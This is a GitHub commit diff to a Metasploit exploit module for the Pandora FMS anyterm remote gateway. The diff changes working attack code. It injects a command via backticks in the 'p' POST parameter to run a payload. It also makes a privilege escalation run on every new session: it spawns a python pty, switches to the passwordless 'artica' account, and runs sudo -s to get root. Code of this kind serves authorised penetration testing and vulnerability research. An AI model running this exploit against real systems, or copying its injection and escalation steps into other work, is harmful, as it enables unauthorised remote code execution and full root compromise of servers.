Skip to content

Commit 50f8607

Browse files
author
xistence
committed
Changes made to pandora_fms_exec module as requested
1 parent 9a929e7 commit 50f8607

File tree

1 file changed

+11
-19
lines changed

1 file changed

+11
-19
lines changed

modules/exploits/linux/http/pandora_fms_exec.rb

Lines changed: 11 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ class Metasploit3 < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::CmdStagerEcho
1312
include Msf::Exploit::EXE
1413

1514
def initialize(info={})
@@ -55,24 +54,17 @@ def initialize(info={})
5554
[
5655
Opt::RPORT(8023),
5756
OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
58-
OptBool.new('PRIVESC', [true, 'Try to escalate privileges to root', false])
5957
], self.class)
6058
end
6159

6260
def on_new_session(client)
63-
if datastore['PRIVESC'] == true
64-
print_status("#{peer} - Trying to escalate privileges to root")
65-
# Spawn a pty for su/sudo
66-
client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'")
67-
# Su to the passwordless "artica" account
68-
client.shell_command_token("su - artica")
69-
# The "artica" use has sudo rights without the need for a password, thus gain root priveleges
70-
client.shell_command_token("sudo -s")
71-
end
72-
end
73-
74-
def uri
75-
return target_uri.path
61+
print_status("#{peer} - Trying to escalate privileges to root")
62+
# Spawn a pty for su/sudo
63+
client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'")
64+
# Su to the passwordless "artica" account
65+
client.shell_command_token("su - artica")
66+
# The "artica" use has sudo rights without the need for a password, thus gain root priveleges
67+
client.shell_command_token("sudo -s")
7668
end
7769

7870
def peer
@@ -85,12 +77,12 @@ def check
8577

8678
res = send_request_cgi({
8779
'method' => 'GET',
88-
'uri' => normalize_uri(uri, "anyterm.html")
80+
'uri' => normalize_uri(target_uri.path, "anyterm.html")
8981
})
9082

9183
if res and res.code == 200 and res.body =~ /Pandora FMS Remote Gateway/
9284
print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
93-
return Exploit::CheckCode::Unknown
85+
return Exploit::CheckCode::Detected
9486
end
9587

9688
return Exploit::CheckCode::Safe
@@ -100,10 +92,10 @@ def exploit
10092
print_status("#{peer} - Sending payload")
10193
res = send_request_cgi({
10294
'method' => 'POST',
103-
'uri' => normalize_uri(uri, "/anyterm-module"),
95+
'uri' => normalize_uri(target_uri.path, "/anyterm-module"),
10496
'vars_post' => {
10597
'a' => "open",
106-
'p' => "`#{payload.raw}`"
98+
'p' => "`nohup #{payload.encoded}`"
10799
}
108100
})
109101

0 commit comments

Comments
 (0)